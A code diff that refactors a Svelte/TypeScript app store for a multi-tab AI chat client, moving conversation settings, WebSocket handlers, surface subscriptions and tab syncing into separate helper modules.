- function createChatFor(conversationId: string, model: string, workspaceId: string): ChatStore {
- return createChatStore({
- conversationId,
- model,
- workspaceId,
- transport: {
- send(msg) {
- socket?.send(msg);
- },
- },
- historySync,
- metricsSync,
- cache,
- // Read from the persisted store (kept in sync with the reactive `chatLimit`
- // by `setChatLimit` + boot) so this snapshot doesn't reference the `$state`
- // — each store captures its limit at creation; live updates go through
- // `setChatLimit`.
- chatLimit: normalizeChatLimit(chatLimitStore.load()),
- canUnload: () => (unloadGate === null ? true : unloadGate()),
- ...(chatFlushScheduler !== null ? { scheduleFlush: chatFlushScheduler } : {}),
- onError: (context, err) => {
- reportError(`${context} (conversation: ${conversationId})`, err);
- },
- });
- }
- const initialDraftId = randomId();
- // Read `activeWorkspaceId` with untrack to suppress Svelte's
- // `state_referenced_locally` warning — this intentionally captures the
- // INITIAL workspace for the boot draft. When the workspace changes later,
- // `setActiveWorkspace` creates a fresh draft store with the new id.
- let draftStore: ChatStore = createChatFor(
- initialDraftId,
- DEFAULT_MODEL,
- untrack(() => activeWorkspaceId),
- );
- let draftConversationId: string = initialDraftId;
-
- let activeChat = $state<ChatStore>(draftStore as ChatStore);
-
- // The active conversation's persisted working directory (per-tab). Seeded from
- // the backend on focus change; null for a draft / when unset.
- let cwd = $state<string | null>(null);
-
- /** Refetch the workspace conversation's cwd into reactive state (works for a draft too). */
- async function refreshCwd(): Promise<void> {
- const id = workspaceConversationId();
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/cwd`);
- if (!res.ok) return;
- const data = (await res.json()) as CwdResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) cwd = data.cwd ?? null;
- } catch (err) {
- reportError("Failed to load working directory", err);
- }
- }
-
- // The active conversation's persisted computer (SSH Host alias). Seeded on
- // focus change; null = local / never set (inherits the workspace default).
- let computerId = $state<string | null>(null);
-
- /**
- * Refetch the workspace conversation's persisted computer into reactive state
- * (works for a draft too). A draft's id 404s until promoted; `res.ok` is false
- * so it is a silent no-op (mirrors `refreshCwd` for a draft).
- */
- async function refreshComputer(): Promise<void> {
- const id = workspaceConversationId();
- // Clear immediately so a switch never shows the PREVIOUS conversation's
- // computer while the fetch is in flight (null renders as "Local").
- computerId = null;
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/computer`);
- if (!res.ok) return;
- const data = (await res.json()) as ConversationComputerResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) computerId = data.computerId ?? null;
- } catch (err) {
- reportError("Failed to load computer", err);
- }
- }
+ const cache = registry.cache;
+ const settings = createConversationSettings({
+ httpBase,
+ fetchImpl,
+ workspaceConversationId,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
/** Refetch the workspace conversation's persisted model (works for a draft too). */
async function refreshModel(): Promise<void> {
const id = workspaceConversationId();
@@ -1033,11 +199,11 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
if (activeId !== null) {
tabsStore.setModel(activeId, data.model);
tabsStore.setSnapshot(activeId, namedAgentSnapshot);
- chatStores.get(activeId)?.setModel(data.model);
- chatStores.get(activeId)?.setNamedAgent(namedAgentSnapshot);
+ registry.chatStores.get(activeId)?.setModel(data.model);
+ registry.chatStores.get(activeId)?.setNamedAgent(namedAgentSnapshot);
} else {
- draftStore.setModel(data.model);
- draftStore.setNamedAgent(namedAgentSnapshot);
+ registry.draftStore.setModel(data.model);
+ registry.draftStore.setNamedAgent(namedAgentSnapshot);
}
}
} catch (err) {
@@ -1045,203 +211,6 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
}
}
- // The workspace conversation's persisted reasoning effort. Seeded from the
- // backend on focus change; null = never set (the server default applies).
- let reasoningEffort = $state<ReasoningEffort | null>(null);
-
- /** Refetch the workspace conversation's reasoning effort (works for a draft too). */
- async function refreshReasoningEffort(): Promise<void> {
- const id = workspaceConversationId();
- // Clear immediately so a switch never shows the PREVIOUS conversation's level
- // while the fetch is in flight (null renders as the server default).
- reasoningEffort = null;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/reasoning-effort`,
- );
- if (!res.ok) return;
- const data = (await res.json()) as ReasoningEffortResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) reasoningEffort = data.reasoningEffort ?? null;
- } catch (err) {
- reportError("Failed to load reasoning effort", err);
- }
- }
-
- // The workspace conversation's persisted thinking flag (SEPARATE from the
- // effort level). Seeded from the backend on focus change; null = never set
- // (thinking ON — the default). PROPOSED endpoint (see backend-handoff.md):
- // a 404 (endpoint not yet shipped) leaves `thinking` null ⇒ ON (default), so
- // the selector simply shows the effort level until the backend ships it.
- let thinking = $state<boolean | null>(null);
-
- /** Refetch the workspace conversation's thinking flag (works for a draft too). */
- async function refreshThinking(): Promise<void> {
- const id = workspaceConversationId();
- // Clear immediately so a switch never shows the PREVIOUS conversation's
- // setting while the fetch is in flight (null ⇒ ON, the default).
- thinking = null;
- try {
- const res = await fetchImpl(`${httpBase}/conversations/${encodeURIComponent(id)}/thinking`);
- if (!res.ok) return;
- // Guard against the SPA fallback: when DISPATCH_WEB_DIR is set (production),
- // unknown API routes get index.html with HTTP 200 + text/html instead of a
- // 404. Treat any non-JSON 200 as "endpoint not shipped" → leave null (ON).
- const contentType = res.headers.get("content-type") ?? "";
- if (!contentType.includes("application/json")) return;
- const data = (await res.json()) as ThinkingResponse;
- // Guard a slow response losing a race with a conversation switch.
- if (workspaceConversationId() === id) thinking = data.thinking ?? null;
- } catch (err) {
- reportError("Failed to load thinking setting", err);
- }
- }
-
- // The workspace conversation's auto-compact percent. Seeded from the
- // backend on focus change; null = not yet fetched. 0 = disabled.
- let compactPercent = $state<number | null>(null);
-
- // The GLOBAL vision settings (shared across all conversations). Seeded on
- // boot; null = not yet fetched.
- let visionSettings = $state<VisionSettings | null>(null);
-
- /** Refetch the global vision settings (`GET /settings/vision`). */
- async function refreshVisionSettings(): Promise<void> {
- try {
- const res = await fetchImpl(`${httpBase}/settings/vision`);
- if (!res.ok) return;
- const data = normalizeVisionSettings(await res.json());
- visionSettings = data;
- } catch (err) {
- reportError("Failed to load vision settings", err);
- }
- }
-
- /** Refetch the workspace conversation's compact percent (works for a draft too). */
- async function refreshCompactPercent(): Promise<void> {
- const id = workspaceConversationId();
- compactPercent = null;
- try {
- const res = await fetchImpl(
- `${httpBase}/conversations/${encodeURIComponent(id)}/compact-percent`,
- );
- if (!res.ok) return;
- const data = (await res.json()) as CompactPercentResponse;
- if (workspaceConversationId() === id) compactPercent = data.threshold;
- } catch (err) {
- reportError("Failed to load compact percent", err);
- }
- }
-
- function getActiveChat(): ChatStore {
- const activeId = tabsStore.activeConversationId;
- if (activeId === null) {
- return draftStore;
- }
- return chatStores.get(activeId) ?? draftStore;
- }
-
- function refreshActiveChat(): void {
- activeChat = getActiveChat();
- }
-
- function handleChatMessage(msg: ChatDeltaMessage | ChatErrorMessage): void {
- let targetId: string | undefined;
- if (msg.type === "chat.delta") {
- targetId = msg.event.conversationId;
- } else {
- targetId = msg.conversationId;
- }
-
- if (targetId !== undefined) {
- const store = chatStores.get(targetId) ?? watchStores.get(targetId);
- if (store !== undefined) {
- store.handleDelta(msg);
- return;
- }
- }
-
- // fallback: try all stores (chat.error without conversationId)
- for (const store of chatStores.values()) {
- store.handleDelta(msg);
- }
- for (const store of watchStores.values()) {
- store.handleDelta(msg);
- }
- }
-
- /**
- * Start watching a conversation's live turn events (`chat.subscribe`). Sent for
- * EVERY open conversation — not just the active one — so a backgrounded tab keeps
- * streaming a running turn, and a reloaded/second client re-attaches to an
- * in-flight turn (the server replays it from `turn-start`). Idempotent server-side;
- * the socket queues it until the connection is open. NOT needed right after
- * `chat.send` (that auto-subscribes the sending connection).
- */
- function subscribeChat(conversationId: string): void {
- socket?.send({ type: "chat.subscribe", conversationId });
- }
-
- /** Stop watching a conversation's turn events (`chat.unsubscribe`). Never stops the turn. */
- function unsubscribeChat(conversationId: string): void {
- socket?.send({ type: "chat.unsubscribe", conversationId });
- }
-
- /**
- * Open a "watch" on a conversation for a modal viewer (the heartbeat run-chat
- * modal). Returns a live {@link ChatStore} for the conversation's turn stream.
- * If the conversation is already an open TAB, reuses its store (it is already
- * subscribed + streaming); otherwise creates an EPHEMERAL watch store in
- * `watchStores` (separate from tabs — never opens a tab), subscribes to its
- * live turn stream, and loads history. Deltas route to it via `handleChatMessage`.
- * Pair with {@link unwatchConversation} on close.
- */
- function watchConversation(conversationId: string): ChatStore {
- // An open tab already has a live store + subscription — reuse it.
- const tabStore = chatStores.get(conversationId);
- if (tabStore !== undefined) return tabStore;
- const existing = watchStores.get(conversationId);
- if (existing !== undefined) return existing;
- const store = createChatFor(conversationId, activeModel, activeWorkspaceId);
- watchStores.set(conversationId, store);
- void store.load();
- subscribeChat(conversationId);
- return store;
- }
-
- /**
- * Dispose + unsubscribe a watch opened by {@link watchConversation}. A no-op if
- * the conversation was (or became) an open TAB — the tab owns its store +
- * subscription, so nothing is torn down (closing the modal must not disturb the
- * tab strip). Only the ephemeral watch store is disposed + unsubscribed.
- */
- function unwatchConversation(conversationId: string): void {
- // A tab reuses its own store — leave it (and its subscription) intact.
- if (chatStores.has(conversationId)) return;
- const store = watchStores.get(conversationId);
- if (store === undefined) return;
- store.dispose();
- watchStores.delete(conversationId);
- unsubscribeChat(conversationId);
- }
-
- /**
- * Tell the backend the user EXPLICITLY closed this conversation's tab
- * (`POST /conversations/:id/close`): aborts any in-flight turn (it seals with
- * `reason: "aborted"`) and stops + DISABLES its cache-warming (persisted OFF).
- * Distinct from a disconnect / `chat.unsubscribe`, which deliberately leave
- * both running. Fire-and-forget: a failure is non-fatal (worst case the
- * warming keeps running until a later close/toggle), and the endpoint is
- * idempotent server-side.
- */
- function closeConversation(conversationId: string): void {
- void fetchImpl(`${httpBase}/conversations/${encodeURIComponent(conversationId)}/close`, {
- method: "POST",
- }).catch((err) => {
- reportError("Failed to close conversation", err);
- });
- }
-
/** The conversation the surfaces should scope to (undefined for a draft). */
function focusedConversationId(): string | undefined {
return tabsStore.activeConversationId ?? undefined;
@@ -1254,160 +223,35 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
* promotion (first send), so a cwd set on a draft carries into the real turn.
*/
function workspaceConversationId(): string {
- return tabsStore.activeConversationId ?? draftConversationId;
+ return tabsStore.activeConversationId ?? registry.draftConversationId;
}
- function handleServerMessage(msg: SurfaceServerMessage): void {
- protocol = applyServerMessage(protocol, msg);
- // Surfaces are auto-expanded: whenever the catalog changes, subscribe to
- // every entry (and drop subscriptions for entries that vanished).
- if (msg.type === "catalog") {
- syncSubscriptions();
- }
- }
-
- /**
- * Subscribe to every catalog entry, scoped to the focused conversation, and
- * unsubscribe stragglers. Re-run on conversation switch: a conversation-scoped
- * surface (e.g. cache-warming) re-scopes to the new id (`protocolSubscribe`
- * emits unsubscribe-old + subscribe-new); a global surface ignores the id.
- */
- function syncSubscriptions(): void {
- const cid = focusedConversationId();
- for (const entry of protocol.catalog) {
- // A GLOBAL surface ignores conversation scope — subscribe it WITHOUT an id
- // so a conversation switch doesn't churn a redundant unsubscribe+subscribe
- // round trip ([email protected] catalog `scope`; ABSENT = assume
- // conversation-scoped, the conservative pre-0.2.0 policy).
- const scoped = entry.scope === "global" ? undefined : cid;
- const result = protocolSubscribe(protocol, entry.id, scoped);
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
- const catalogIds = new Set(protocol.catalog.map((e) => e.id));
- for (const id of [...protocol.subscriptions.keys()]) {
- if (!catalogIds.has(id)) {
- const result = protocolUnsubscribe(protocol, id);
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
- }
- }
+ const surfaces = createSurfaceProtocol({
+ focusedConversationId,
+ send: (msg) => socket?.send(msg),
+ });
let socket: ReturnType<typeof createSurfaceSocket> | null = null;
- /**
- * The surface OP implementations — closure functions shared by the app
- * store's public methods AND the frontend-plugin ABI's surfaces ports (the
- * plugin host binds exactly these; there is no second protocol state).
- */
- function invokeSurfaceOp(
- surfaceId: string,
- actionId: string,
- payload?: unknown,
- conversationId?: string,
- ): void {
- const result = protocolInvoke(
- protocol,
- surfaceId,
- actionId,
- payload,
- conversationId ?? focusedConversationId(),
- );
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
-
- function subscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
- const result = protocolSubscribe(
- protocol,
- surfaceId,
- conversationId ?? focusedConversationId(),
- );
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
-
- function unsubscribeSurfaceOp(surfaceId: string, conversationId?: string): void {
- // protocolUnsubscribe keys on the surface alone (it drops the pair it
- // was subscribed under); the optional id documents the intent.
- void conversationId;
- const result = protocolUnsubscribe(protocol, surfaceId);
- protocol = result.state;
- for (const msg of result.outgoing) {
- socket?.send(msg);
- }
- }
-
- function surfaceSpecOp(surfaceId: string): SurfaceSpec | null {
- return getSurfaceSpec(protocol, surfaceId);
- }
-
- /**
- * Open a conversation tab — used by the `conversation.open` WS broadcast
- * (CLI `--open` flag) and by `conversation.statusChanged` when a new active
- * conversation is discovered. If the conversation is already open, this is a
- * no-op; otherwise create a chat store, load its history, subscribe to its live
- * turns, and add the tab WITHOUT switching the active conversation (the user
- * stays on their current tab; the new tab appears in the strip). The tab is
- * stamped with the conversation's actual `workspaceId`, NOT the viewer's
- * currently active workspace.
- */
- function openConversation(
- conversationId: string,
- workspaceId: string,
- model?: string,
- tabGroupParentId?: string,
- ): void {
- if (chatStores.has(conversationId)) return;
- // Stamp the tab with the conversation's PERSISTED model when the open
- // broadcast carries it (falling back to the current global selection) —
- // never let the globally-active model overwrite a conversation's real one
- // (fix-toolcall-duplicate-keys plan Part 4).
- const tabModel = model ?? activeModel;
- const store = createChatFor(conversationId, tabModel, workspaceId);
- chatStores.set(conversationId, store);
- void store.load();
- subscribeChat(conversationId);
- tabsStore.openTab({
- conversationId,
- model: tabModel,
- title: "Conversation",
- workspaceId,
- ...(tabGroupParentId !== undefined ? { tabGroupParentId } : {}),
- });
- }
-
- /**
- * Remove a tab + its chat store locally (NO `POST /close` — used when the
- * backend already marked the conversation `closed` via `conversation.statusChanged`).
- */
- function removeTabLocally(conversationId: string): void {
- unsubscribeChat(conversationId);
- const store = chatStores.get(conversationId);
- if (store !== undefined) {
- store.dispose();
- chatStores.delete(conversationId);
- }
- void cache.delete(conversationId);
- tabsStore.closeTab(conversationId);
- conversationStatuses.delete(conversationId);
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
- }
+ const conversations = createOpenConversations({
+ httpBase,
+ fetchImpl,
+ tabsStore,
+ registry,
+ cache,
+ activeModel: () => activeModel,
+ settings,
+ syncSubscriptions: surfaces.syncSubscriptions,
+ reportError,
+ });
+ const httpActions = createHttpActions({
+ httpBase,
+ fetchImpl,
+ activeConversationId: () => tabsStore.activeConversationId,
+ activeModel: () => activeModel,
+ activeWorkspaceId: () => activeWorkspaceId,
+ reportError,
+ });
/**
* Surface a swallowed error to the user via the full-screen error modal
@@ -1423,101 +267,6 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
fatalError = `${context}\n\n${detail}`;
}
- // Conversation lifecycle status (backend-owned, pushed via WS +
- // fetched on connect). Keyed by conversationId.
- let conversationStatuses = $state<Map<string, ConversationStatus>>(new Map());
-
- // The set of workspaces with ≥1 active/queued conversation, derived ONCE
- // (not recomputed per card). Every active/queued conversation has an open
- // tab stamped with its workspace, so the tabs are the conversation→workspace
- // map; cross-reference with the lifecycle statuses. `$derived` recomputes
- // lazily when the tab set or status map changes, so each
- // `workspaceHasActiveConversations` call is an O(1) lookup instead of a scan
- // of the full tab list per card.
- const activeWorkspaces = $derived.by(() => {
- const out = new Set<string>();
- for (const tab of tabsStore.tabs) {
- const status = conversationStatuses.get(tab.conversationId);
- if (status === "active" || status === "queued") out.add(tab.workspaceId);
- }
- return out;
- });
-
- /**
- * Fetch `GET /conversations?status=active,idle` on connect to restore the
- * tab bar across devices. Merges: opens tabs for conversations not already
- * open, removes tabs for conversations that are no longer active/idle
- * (closed on another device), and subscribes to `active` conversations'
- * live streams.
- */
- async function fetchOpenConversations(): Promise<void> {
- try {
- const res = await fetchImpl(`${httpBase}/conversations?status=active,idle`);
- if (!res.ok) return;
- const data = (await res.json()) as ConversationListResponse;
-
- // Update the status map from the authoritative backend list.
- const newStatuses = new Map<string, ConversationStatus>();
- for (const conv of data.conversations) {
- newStatuses.set(conv.id, conv.status);
- }
- conversationStatuses = newStatuses;
-
- // Open tabs for conversations not already open.
- const existingIds = new Set(chatStores.keys());
- for (const conv of data.conversations) {
- if (!existingIds.has(conv.id)) {
- // Stamp the tab with the conversation's PERSISTED model (when the
- // list carries it) instead of the global active model — the fix for
- // tabs showing/overwriting the wrong model
- // (fix-toolcall-duplicate-keys plan Part 4).
- const model = conv.model ?? activeModel;
- const store = createChatFor(conv.id, model, conv.workspaceId);
- chatStores.set(conv.id, store);
- void store.load();
- subscribeChat(conv.id);
- tabsStore.openTab({
- conversationId: conv.id,
- model,
- title: conv.title,
- workspaceId: conv.workspaceId,
- ...(conv.tabGroupParentId !== undefined
- ? { tabGroupParentId: conv.tabGroupParentId }
- : {}),
- });
- } else {
- // Already open — reconcile title + workspace from the authoritative
- // backend list. A raced `conversation.open` (summon) may have stamped
- // the tab with the wrong workspace ("default"); the backend's
- // authoritative conversation record is the source of truth, so a
- // differing tab workspace is corrected here.
- tabsStore.setTitle(conv.id, conv.title);
- const tab = tabsStore.tabs.find((t) => t.conversationId === conv.id);
- if (tab?.workspaceId !== conv.workspaceId) {
- tabsStore.setWorkspaceId(conv.id, conv.workspaceId);
- }
- // The backend's EFFECTIVE tab group parent is authoritative too.
- if (tab?.tabGroupParentId !== conv.tabGroupParentId) {
- tabsStore.setTabGroupParent(conv.id, conv.tabGroupParentId ?? null);
- }
- }
- }
-
- // Remove tabs for conversations no longer active/idle (closed elsewhere).
- const backendIds = new Set(data.conversations.map((c) => c.id));
- for (const tab of tabsStore.tabs) {
- if (!backendIds.has(tab.conversationId)) {
- removeTabLocally(tab.conversationId);
- }
- }
- } catch (err) {
- reportError(
- `Failed to load conversations from the backend.\n\nURL: ${httpBase}/conversations?status=active,idle`,
- err,
- );
- }
- }
-
// ── Frontend plugins (plan 03) ─────────────────────────────────────────────
// The ABI driver's composition-root wiring: one host instance per app
// store. `sync()` runs on boot, on `extensions-changed`, and on every
@@ -1532,11 +281,13 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
reporter: pluginsStore,
activeWorkspaceId: () => activeWorkspaceId,
surfaces: {
- subscribe: (surfaceId, conversationId) => subscribeSurfaceOp(surfaceId, conversationId),
- unsubscribe: (surfaceId, conversationId) => unsubscribeSurfaceOp(surfaceId, conversationId),
+ subscribe: (surfaceId, conversationId) =>
+ surfaces.subscribeSurfaceOp(surfaceId, conversationId),
+ unsubscribe: (surfaceId, conversationId) =>
+ surfaces.unsubscribeSurfaceOp(surfaceId, conversationId),
invoke: (surfaceId, actionId, payload, conversationId) =>
- invokeSurfaceOp(surfaceId, actionId, payload, conversationId),
- getSpec: (surfaceId) => surfaceSpecOp(surfaceId),
+ surfaces.invokeSurfaceOp(surfaceId, actionId, payload, conversationId),
+ getSpec: (surfaceId) => surfaces.surfaceSpecOp(surfaceId),
},
// plan 04 §4.5: the plugins' `api.layout` port — applyOps posts to the
// ACTIVE workspace's provider (the ops route) and feeds the returned
@@ -1549,127 +300,23 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
}),
});
- const socketOpts: SurfaceSocketOptions = {
+ const socketOpts = createWsHandlers({
url: wsUrl,
- onMessage: handleServerMessage,
- onChat: handleChatMessage,
- onConversationOpen(msg: ConversationOpenMessage): void {
- openConversation(msg.conversationId, msg.workspaceId, msg.model, msg.tabGroupParentId);
- },
- onConversationTabGroupChanged(msg: ConversationTabGroupChangedMessage): void {
- // Another client (or this one, echoed) regrouped a tab — apply the
- // authoritative EFFECTIVE value. Unknown tabs are a reducer no-op.
- tabsStore.setTabGroupParent(msg.conversationId, msg.tabGroupParentId);
- },
- onConversationStatusChanged(msg: ConversationStatusChangedMessage): void {
- const { conversationId, status, workspaceId } = msg;
- if (status === "closed") {
- // Closed on another device (or the backend) — remove the tab locally.
- if (chatStores.has(conversationId)) {
- removeTabLocally(conversationId);
- }
- return;
- }
- // active / queued / idle — update the status map (drives the tab spinner).
- // `queued` = the turn is in flight but waiting for a concurrency slot
- // (broadcast-only, never persisted — CR-13); the tab shows a ring.
- conversationStatuses = new Map(conversationStatuses).set(conversationId, status);
- // Reconcile the already-open tab's workspace from this authoritative
- // lifecycle event (the payload workspace is the conversation's actual
- // persisted workspace). A raced `conversation.open` may have stamped the
- // wrong workspace ("default") — correct it here.
- if (
- chatStores.has(conversationId) &&
- (tabsStore.tabs.find((t) => t.conversationId === conversationId)?.workspaceId ??
- workspaceId) !== workspaceId
- ) {
- tabsStore.setWorkspaceId(conversationId, workspaceId);
- }
- // If this is a new active OR queued conversation we don't have a tab for,
- // open one — so a cross-device turn (incl. one waiting in the concurrency
- // queue) is visible. `idle` never opens a tab.
- if ((status === "active" || status === "queued") && !chatStores.has(conversationId)) {
- openConversation(conversationId, workspaceId);
- }
- },
- onConversationCompacted(msg: ConversationCompactedMessage): void {
- // Compaction keeps the conversation ID — the old full history is forked
- // to an archive (newConversationId). Just reload the same conversation's
- // history (dispose stale store + cache + re-fetch).
- const cid = msg.conversationId;
- const wasActive = tabsStore.activeConversationId === cid;
- const store = chatStores.get(cid);
- if (store !== undefined) {
- store.dispose();
- }
- void cache.delete(cid);
- const fresh = createChatFor(cid, activeModel, activeWorkspaceId);
- chatStores.set(cid, fresh);
- void fresh.load();
- if (wasActive) {
- refreshActiveChat();
- }
- },
- onReopen() {
- // The server forgot our subscriptions on reconnect; re-send each with the
- // conversation it was subscribed under (protocolSubscribe would no-op since
- // they're still in our local map, so emit the wire messages directly).
- for (const [surfaceId, sub] of protocol.subscriptions) {
- const msg: SubscribeMessage =
- sub.conversationId === undefined
- ? { type: "subscribe", surfaceId }
- : { type: "subscribe", surfaceId, conversationId: sub.conversationId };
- socket?.send(msg);
- }
- // A reconnect is a NEW connection — the server forgot this client's
- // workspace too. Re-declare it so the re-pushed catalog is filtered
- // (plan 06 §6.4).
- socket?.send(workspaceSetMsg(activeWorkspaceId));
- // Re-attach to every open conversation's turn stream. A turn that kept
- // running while we were disconnected resumes streaming (server replays it
- // from `turn-start`); one that sealed while we were gone is committed from
- // history by `resync()` (which also clears a now-stale "generating").
- for (const tab of tabsStore.tabs) {
- subscribeChat(tab.conversationId);
- chatStores.get(tab.conversationId)?.resync();
- }
- // Re-attach to every MODAL watch too (a run-chat modal open across a
- // reconnect keeps streaming). Watch stores are separate from tabs.
- for (const [watchId, watchStore] of watchStores) {
- subscribeChat(watchId);
- watchStore.resync();
- }
- },
- onExtensionsChanged(_msg: ExtensionsChangedMessage) {
- // §11 multi-client coherence: another client (or this one) mutated the
- // plugin set. Refetch the plugin list (+ any open workspace modal view),
- // the workspace-scoped model catalog, and the provider guardrail. The
- // surface catalog is NOT refetched here — the server re-pushes it
- // (workspace-filtered) on the same broadcast.
- pluginsStore.onExtensionsChanged();
- // Frontend plugins (plan 03): the load lifecycle's extensions-changed
- // trigger — newly-loaded/enabled frontend plugins import + activate;
- // unloaded/disabled ones are swept (their tiles fall back).
- void pluginHost.sync();
- // A layout plugin enabled/disabled mid-session starts/stops serving —
- // the probe picks the new provider state up without a reload (§2.6).
- void layoutStore.probe(activeWorkspaceId);
- void refreshModels();
- void refreshProviderStatus();
- },
- onLayout(msg: LayoutChangedMessage) {
- // §2.5 multi-client coherence: a layout write on ANY client (or a
- // plugin's op) re-renders here — the store filters non-active
- // workspaces (the server fans out to everyone).
- layoutStore.onServerTree(msg.workspaceId, msg.tree);
- },
- onTileLayout(msg: TileLayoutChangedMessage) {
- // Multi-client coherence for the home grid's synced layouts: a write
- // on ANY client re-renders here — the store filters the OTHER
- // orientation (the server fans out to everyone).
- tileLayoutStore.onServerTileLayout(msg.mode, msg.data);
- },
- };
+ send: (msg) => socket?.send(msg),
+ registry,
+ conversations,
+ surfaces,
+ cache,
+ tabsStore,
+ activeWorkspaceId: () => activeWorkspaceId,
+ workspaceSetMsg: (id) => workspaceSetMsg(id),
+ pluginsStore,
+ pluginHost,
+ layoutStore,
+ tileLayoutStore,
+ refreshers,
+ reportError,
+ });
if (opts?.socketFactory !== undefined) {
socketOpts.socketFactory = opts.socketFactory;
}
@@ -1686,9 +333,9 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
socket.send(workspaceSetMsg(activeWorkspaceId));
// Fetch the model catalog (workspace-scoped — plan 06 §6.5).
- void refreshModels();
+ void refreshers.refreshModels();
// Fetch the active workspace's provider status (§6.5 first-boot guardrail).
- void refreshProviderStatus();
+ void refreshers.refreshProviderStatus();
// Probe the ACTIVE layout provider (plan 02 §2.6 boot trigger): the tree is
// served by the backend's layout plugin when one is active. `boot: true`
// arms the one-way §2.7 localStorage migration on the first success.
@@ -1703,35 +350,7 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
activeModel = migrateLegacyModelName(activeModel);
}
- // Fetch the discovered-computer catalog (global, like models). Empty until
- // the `ssh` extension lands — a safe no-op until then (the selector shows
- // "Local (none)" only). Non-fatal: a failure leaves an empty list.
- void fetchImpl(`${httpBase}/computers`)
- .then((res) => {
- if (!res.ok) return { computers: [] } as ComputerListResponse;
- return res.json() as Promise<ComputerListResponse>;
- })
- .then((data) => {
- computers = data?.computers ?? [];
- })
- .catch((err) => {
- reportError("Failed to load computer list", err);
- });
-
- // Fetch the persisted Named Agents (global user config). Seeded on boot so the
- // sidebar editor + the synthetic model-selector provider have data immediately.
- // Non-fatal: a failure leaves an empty list (the user can add agents).
- void fetchImpl(`${httpBase}/named-agents`)
- .then((res) => {
- if (!res.ok) return { namedAgents: [] } as { namedAgents: NamedAgent[] };
- return res.json() as Promise<{ namedAgents: NamedAgent[] }>;
- })
- .then((data) => {
- namedAgents = normalizeNamedAgents(data);
- })
- .catch((err) => {
- reportError("Failed to load named agents", err);
- });
+ refreshers.loadGlobalCatalogs();
// Restore persisted tabs
const persistedState = storageAdapter.load();
@@ -1744,13 +363,12 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
if (model !== tab.model) {
tabsStore.setModel(tab.conversationId, model);
}
- const store = createChatFor(tab.conversationId, model, tab.workspaceId);
- chatStores.set(tab.conversationId, store);
- void store.load();
+ const store = registry.createChatFor(tab.conversationId, model, tab.workspaceId);
+ registry.chatStores.set(tab.conversationId, store);
// Watch each restored conversation's live turns: after a reload mid-turn the
// server replays the in-flight turn so we keep rendering it. Queued until the
// socket opens.
- subscribeChat(tab.conversationId);
+ registry.subscribeChat(tab.conversationId);
}
if (persistedState.activeConversationId !== null) {
const activeTab = persistedState.tabs.find(
@@ -1763,19 +381,19 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
}
}
- refreshActiveChat();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
- void refreshVisionSettings();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
+ void settings.refreshVisionSettings();
// Fetch the authoritative open-conversation list from the backend (cross-
// device tab sync). Merges with the localStorage-restored tabs: opens new
// ones, removes closed ones, updates titles + statuses.
- void fetchOpenConversations();
+ void conversations.fetchOpenConversations();
return {
get tabs(): readonly Tab[] {
@@ -1800,22 +418,22 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
// Reset to a fresh draft scoped to the new workspace so a new chat is
// stamped with the right `workspaceId` on `chat.send`.
const nextDraftId = randomId();
- draftStore = createChatFor(nextDraftId, activeModel, workspaceId);
- draftConversationId = nextDraftId;
+ registry.draftStore = registry.createChatFor(nextDraftId, activeModel, workspaceId);
+ registry.draftConversationId = nextDraftId;
tabsStore.newDraft();
namedAgentSnapshot = null;
- refreshActiveChat();
- syncSubscriptions();
- void refreshCwd();
- void refreshComputer();
+ registry.refreshActiveChat();
+ surfaces.syncSubscriptions();
+ void settings.refreshCwd();
+ void settings.refreshComputer();
void refreshModel();
- void refreshReasoningEffort();
- void refreshThinking();
- void refreshCompactPercent();
+ void settings.refreshReasoningEffort();
+ void settings.refreshThinking();
+ void settings.refreshCompactPercent();
// The model picker + provider guardrail are WORKSPACE-SCOPED now
// (plan 06 §6.5): refetch both for the new workspace.
- void refreshModels();
- void refreshProviderStatus();
+ void refreshers.refreshModels();
+ void refreshers.refreshProviderStatus();
// The tile tree is WORKSPACE-SCOPED too (plan 02): reset to the local
// default for the new workspace and probe its provider (§2.6 — every
// workspace switch is a probe, which is also the missed-push catch-up).
@@ -1826,82 +444,82 @@ export function createAppStore(opts?: CreateAppStoreOptions): AppStore {
void pluginHost.sync();
},
get activeChat(): ChatStore {
- return activeChat;
+ return registry.activeChat;
},
get models(): readonly string[] {
- return models;
+ return refreshers.models;
},
get modelInfo(): Readonly<Record<string, ModelMetadata>> {
- return modelInfo;
+ return refreshers.modelInfo;
},
get activeModel(): string {
return activeModel;
},
get catalog() {
- return protocol.catalog;
+ return surfaces.protocol.catalog;
},
get surfaces(): readonly SurfaceSpec[] {
const out: SurfaceSpec[] = [];
